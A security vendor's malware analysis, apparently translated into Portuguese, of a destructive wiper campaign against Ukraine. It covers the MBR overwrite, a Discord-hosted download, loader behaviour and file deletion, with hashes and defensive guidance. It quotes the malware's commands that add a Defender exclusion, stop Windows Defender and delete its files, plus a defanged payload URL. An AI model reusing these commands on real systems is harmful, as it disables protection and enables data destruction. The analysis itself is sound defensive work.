Take a Product Tour Request a Demo Cybersecurity Assessment Contact Us

Stories

The latest cybersecurity trends, best practices,
security vulnerabilities, and more

Retorno do pseudorransomware

Notícias recentes de uma campanha de “ransomware” direcionada à Ucrânia resultaram em uma cobertura significativa da imprensa sobre não apenas a atribuição, mas também a possível motivação. Unlike traditional ransomware campaigns where the motive is obvious, this particular campaign is believed to be pseudo in nature1. Em outras palavras, sua intenção provavelmente é a de causar a destruição dos sistemas infectados, uma vez que o apagador no estágio 4 simplesmente sobrescreve dados no sistema da vítima, o que significa que nenhuma descriptografia é possível. Embora a campanha tenha como alvo em grande parte um país, a equipe do Advanced Threat Research da Trellix publicou uma campanha do MVISION Insights para acompanhar a ameaça que destaca quais indicadores foram encontrados em outros países. (Detalhes adicionais)

Fonte: Prévia do Insights

Depois disso, recomendamos enfaticamente que as organizações se certifiquem de que sua postura de segurança tenha os controles necessários para detectar e proteger contra a ameaça. Indicadores de comprometimento para caça ativa estão disponíveis na prévia, e incorporamos todos os indicadores conhecidos em nossos produtos. Além disso, o trabalho continua para garantir que possamos identificar quaisquer novos elementos desse ataque à medida que eles surgem.

Detalhes da campanha

As primeiras amostras e indicadores foram relatadas na quinta-feira, 13 de janeiro, no final da noite (horário UTC), que seria por volta de uma da manhã na Ucrânia.

The attack consists of three stages, as can be seen below.

Figura 1: fluxo de ataque

Estágio 1: sobrescreve o MBR e destrói todas as partições
Os arquivos iniciais descobertos foram:

Nome do arquivo Stage1.exe
Data da compilação 01-10-2022 10:37:18
SHA1 189166d382c73c242ba45889d57980548d4ba37e
SHA256 a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92
MD5 5d5c99a08a7d927346ca2dafa7973fc1

Estágio 2: faz download do estágio 3 via CDN hospedado pelo Discord

Nome do arquivo Stage2.exe (originalmente Tbopbh.exe)
Data da compilação 01-10-2022 14:39:54
SHA1 16525cb2fd86dce842107eb1ba6174b23f188537
SHA256 dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78
MD5 14c8482f302b5e81e3fa1b18a509289d

Estágio 3: executa o apagador de arquivos

Nome do arquivo Frkmlkdkdubkznbkmcf.dll
SHA1 82d29b52e35e7938e7ee610c04ea9daaf5e08e90
SHA256 9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d
MD5 e61518ae9454a563b8f842286bbdb87b

O caminho do arquivo de ambos os executáveis era “C:\”. Brincadeiras à parte, os arquivos realmente foram nomeados assim.

Ambos os arquivos têm um caráter destrutivo, como observamos durante nossa análise das amostras.

Estágio 1: a regravação do registro mestre de Inicialização (MBR)

Ao começar com o primeiro estágio, “Stage1.exe”, ele se impõe como ransomware após a execução, onde substitui o Master Boot Record (MBR). Depois de executar o malware em uma MV e reiniciar a máquina, a seguinte nota aparece:

Como na maioria das notas de ransomware, a linguagem habitual está presente: uma notificação de que o dispositivo foi criptografado, e que os arquivos estão sendo mantidos reféns, juntamente com um endereço de pagamento para enviar o valor exigido para, na moeda solicitada. Neste caso, que é raro, uma ID TOX está incluída. O TOX é usado para conversas criptografadas de ponta a ponta via conexões peer-to-peer.

Embora diferentes variantes tenham sido analisadas, a quantia e o endereço BTC permaneceram os mesmos, o que na maioria das operações de ransomware como um serviço muda, usando mescladores de bits para ocultar transações.

Analisando o código, não foi observado código algum para excluir cópias de sombra de volume ou bloquear o processo de inicialização do modo de recuperação, que muitas vezes é usado para remover malware e/ou restaurar operações. Essas etapas são muito comuns na maioria das amostras de ransomware.

No trecho de código abaixo, observamos o malware acessando a unidade física, que é onde o MBR reside, e em seguida ele substituirá o referido MBR.

Estágio 2: o downloader do Discord

The ‘Stage2’ file is using an icon that resembles the icon of the proxy client “Proxifier”. Os autores tentaram evitar a detecção assinando a amostra com um certificado e fazendo-se passar por um binário da Microsoft pertencente ao sistema operacional. Os metadados anexados ao arquivo são russos, como pode ser visto na captura de tela abaixo. O título e a descrição do conjunto são iguais a “Проводник” (ou “Maestro”, em inglês), como pode ser visto nas linhas 24 e 25 na captura de tela abaixo.

Quando executado, Stage2 executa um comando PowerShell codificado, fornecido abaixo.

powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwAA==

Uma vez que o comando codificado base64 é decodificado, o comando real aparece: um sleep de dez segundos para atrasar a execução:

Powershell.exe Start-Sleep -s 10

Em seguida, o malware faz download de um arquivo chamado “Tbopbh.jpg” de um servidor CDN do Discord.

hxxps://cdn[.]discordapp[.]com/attachments/928503440139771947/930108637681184768/Tbopbh[.]jpg

Nome do arquivo Tbobph.jpg
SHA1 b2d863fc444b99c479859ad7f012b840f896172e
SHA256 923eb77b3c9e11d6c56052318c119c1a22d11ab71675e6b95d05eeb73d1accd6
MD5 b3370eb3c5ef6c536195b3bea0120929

O arquivo não é uma imagem, mas sim um arquivo PE invertido. Antes de sua invocação, os dados são invertidos em ordem. O arquivo é uma DLL baseada no DotNet Framework, onde o ponto de partida do estágio 3 é invocado reflexivamente, como pode ser visto no trecho abaixo.

A função estática no terceiro estágio é chamada de "Ylfwdwgmpilzyaph" e reside em "ClassLibrary1.Main" como namespace e classe, respectivamente. A função não tem argumentos e não retorna valor algum.

Estágio 3: um carregador reutilizado

Nome do arquivo Frkmlkdkdubkznbkmcf.dll
SHA1 82d29b52e35e7938e7ee610c04ea9daaf5e08e90
SHA256 9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d
MD5 e61518ae9454a563b8f842286bbdb87b

Esta etapa também é um binário DotNet Framework, como pode se deduzir pela invocação reflexiva na etapa anterior. O carregador usado é mais comum e geralmente é usado para espalhar malware ordinário. As described in this recent Twitter thread, the xClient RAT was also distributed via this loader family.

O carregador inicia vários processos durante sua execução e, em seguida, usa o esvaziamento de processos para injetar e executar o estágio 4. A princípio, o carregador se certifica de que tem privilégios administrativos. Se não tiver, o processo é reiniciado enquanto solicita esses privilégios.

The first process it starts, is a file it drops to “%temp%\Nmddfrqqrbyjeygggda.vbs”. O conteúdo deste arquivo é bastante pequeno, como pode ser visto abaixo.

CreateObject("WScript.Shell").Run "powershell Set-MpPreference -ExclusionPath 'C:\'", 0, False

Isso exclui o “C:\” dos olhos atentos do Windows Defender. Como dito acima, os dois primeiros estágios foram encontrados exatamente nesse local, o que significa que sua estadia não será detectada pelas varreduras do Defender, uma vez que a exclusão esteja ativada.

The two processes that are started after that, utilise the same tool to execute commands: AdvancedRun by Nir Sofer. A versão usada (1.2.2.6, assinada na segunda-feira, 3 de agosto de 2020, às 5h45min51 por Nir Sofer) é um executável legítimo abusado por esse malware.

A primeira execução do AdvancedRun é usada para parar o Defender, usando uma janela invisível.

%temp%\AdvancedRun.exe /EXEFilename "C:\Windows\System32\sc.exe" /WindowState 0 /CommandLine "stop WinDefend" /StartDirectory "" /RunAs 8 /Run

A segunda execução do AdvancedRun é usada para remover completamente os arquivos do Defender do sistema.

%temp%\AdvancedRun.exe /EXEFilename "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /WindowState 0 /CommandLine "rmdir 'C:\ProgramData\Microsoft\Windows Defender' -Recurse" /StartDirectory "" /RunAs 8 /Run

Em seguida, o carregador usa a funcionalidade de interoperabilidade do DotNet Framework para executar código não gerenciado a partir de um contexto gerenciado. A lista de funções abaixo mostra quais funções não gerenciadas foram usadas, em ordem aleatória. Os nomes destes arquivos têm codificação base64 no carregador.

  • ResumeThread
  • Wow64SetThreadContext
  • SetThreadContext
  • GetThreadContext
  • VirtualAllocEx
  • WriteProcessMemory
  • ZwUnmapViewOfSection
  • CreateProcessA
  • CloseHandle
  • ReadProcessMemory

Estas chamadas de função indicam o uso da injeção de processo. Com base nisso, o quarto estágio pode ser iniciado. A análise dele segue abaixo.

Estágio 4: o apagador

Nome do arquivo -
SHA1 8be3c66aecd425f1f123aadc95830de49d1851b5
SHA256 191ca4833351e2e82cb080a42c4848cfbc4b1f3e97250f2700eff4e97cf72019
MD5 343fcded2aaf874342c557d3d5e5870d

O apagador é escrito em C e não contém símbolos nem outras informações de depuração. A função principal segue abaixo, com algumas anotações.

O malware itera por todas as unidades, onde apaga todos os arquivos que correspondam a quaisquer das 191 extensões a seguir.

.HTML, .HTM, .SHTML, .XHTML, .PHTML, .PHP, .JSP, .ASP, .PHPS, .PHP5, .ASPX, .PHP4, .PHP6, .PHP7, .PHP3, .DOC, .DOCX, .XLS, .XLSX, .PPT, PPTX, .PST, .OST, .MSG, .EML, .VSD, .VSDX, .TXT, .CSV, .RTF, .WKS, .WK1, .PDF, .DWG, .ONETOC2, .SNT, .JPEG, .JPG, .DOCB, .DOCM, .DOT, .DOTM, .DOTX, .XLSM, .XLSB, .XLW, .XLT, .XLM, .XLC, .XLTX, .XLTM, .PPTM, .POT, .PPS, .PPSM, .PPSX, .PPAM, .POTM, .EDB, .HWP, .602, .SXI, .STI, .SLDX, .SLDM, .BMP, .PNG, .GIF, .RAW, .CGM, .SLN, .TIF, .TIFF, .NEF, .PSD, .AI, .SVG, .DJVU, .SH, .CLASS, .JAR, .BRD, .SCH, .DCH, .DIP, .PL, .VB, .VBS, .PS1, .BAT, .CMD, .JS, .ASM, .H, .PAS, .CPP, .C, .CS, .SUO, .ASC, .LAY6, .LAY, .MML, .SXM, .OTG, .ODG, .UOP, .STD, .SXD, .OTP, .ODP, .WB2, .SLK, .DIF, .STC, .SXC, .OTS, .ODS, .3DM, .MAX, .3DS, .UOT, .STW, .SXW, .OTT, .ODT, .PEM, .P12, .CSR, .CRT, .KEY, .PFX, .DER, .OGG, .RB, .GO, .JAVA, .INC, .WAR, .PY, .KDBX, .INI, .YML, .PPK, .LOG, .VDI, .VMDK, .VHD, .HDD, .NVRAM, .VMSD, .VMSN, .VMSS, .VMTM, .VMX, .VMXF, .VSWP, .VMTX, .VMEM, .MDF, .IBD, .MYI, .MYD, .FRM, .SAV, .ODB, .DBF, .DB, .MDB, .ACCDB, .SQL, .SQLITEDB, .SQLITE3, .LDF, .SQ3, .ARC, .PAQ, .BZ2, .TBK, .BAK, .TAR, .TGZ, .GZ, .7Z, .RAR, .ZIP, .BACKUP, .ISO, .VCD, .BZ, .CONFIG

O processo de apagamento é mostrado no diagrama abaixo.

A lista de exclusões de nomes contém os seguintes nomes de arquivo: “.”, “..”, “$RECYCLE.BIN”, ou o valor da variável de ambiente chamada “HOMEDRIVE”.

Os nomes de arquivos que são longos demais não podem ser tratados corretamente usando o designador de disco, e é por isso que uma abordagem diferente deve ser adotada nesse sentido. Microsoft’s documentation describes all scenarios clearly, including the how and why.

Depois de concluído o apagamento, a segunda função dentro da função principal é chamada, o que garante que a execução assíncrona do comando dado e o encerramento de seu próprio processo levarão ao apagamento do arquivo do apagador, que já não está mais em uso nesse momento. O código segue abaixo.

O nome do módulo é copiado para o comando, que executa uma janela minimalizada onde uma solicitação de ping é emitida 5 vezes para “111.111.111.111”, com um tempo de espera de 10 milissegundos entre cada solicitação. A saída do comando é enviada para “Nul”, garantindo que a saída fique oculta. Além disso, o caminho para o apagador é usado como argumento para ser excluído à força e silenciosamente do disco. Isso fracassaria se o programa ainda estivesse em execução, e é por isso que o comando ping é executado primeiro. A função na captura de tela abaixo executa o comando dado e fecha todos os identificadores.

Finalmente, o ExitWindowsEx é chamado, usando EWX_SHUTDOWN como sinalizador, o que garante que todos os buffers de arquivo tenham sido liberados para o disco. A razão de desligamento fornecida está relacionada à conectividade de rede.

Técnicas do MITRE
T1059.001 PowerShell Uso do PowerShell para fazer download do arquivo do Discord e executá-lo.
T1485 Data Destruction Apagamento do MBR e/ou sobrescrita de arquivos para corrompê-los
T1059.005 Visual Basic Estágio 3 executando vbs com init Wscript.
T1562.004 Disable or Modify System firewall Estágio 3 desativando o Defender
T1112 Modify Registry Configurações de registro alteradas para desativar ferramentas
T1105 Ingress Tool Transfer Arquivos como Stage1.exe e Stage2.exe transferidos para dentro e através da rede.

Orientação defensiva

Inteligência sobre ameaças

O MVISION Insights fornece visibilidade antecipada do IOC relacionado a esta campanha e às detecções associadas, se houver em seu ambiente

O MVISION Insights também fornece sinais de predominância dentro do seu ambiente, combinando as detecções do ENS com a campanha e também fornecendo informações de rastreamento de processo para mostrar o fluxo de execução

Certifique-se de que suas definições AMCore do ENS estejam atualizadas e que o GTI e a proteção real estejam ativados

Figura 2: veja a seguir as detecções acionadas do ENS para os estágios 1 e 2

O MVISION EDR fornece total visibilidade sobre a execução dos processos da seguinte forma:

Aqui podemos ver o fluxo de comunicações para as cargas do segundo estágio e a intenção das execuções do script PowerShell

Criando uma investigação a partir das detecções de ameaças, podemos ver o uso de ferramentas de inteligência duplas, como PowerShell, cmd para executar comandos do sistema e fazer alterações no sistema e fazer download de cargas adicionais.


1 https://www.helpnetsecurity.com/2017/08/14/pseudo-ransomware/

Veja as últimas novidades

Nós conhecemos bem a segurança cibernética. Porém, somos uma empresa jovem.
Mantenha-se informado enquanto evoluímos.

Digite um endereço de e-mail válido.
Nenhum spam. Cancele a assinatura a qualquer momento.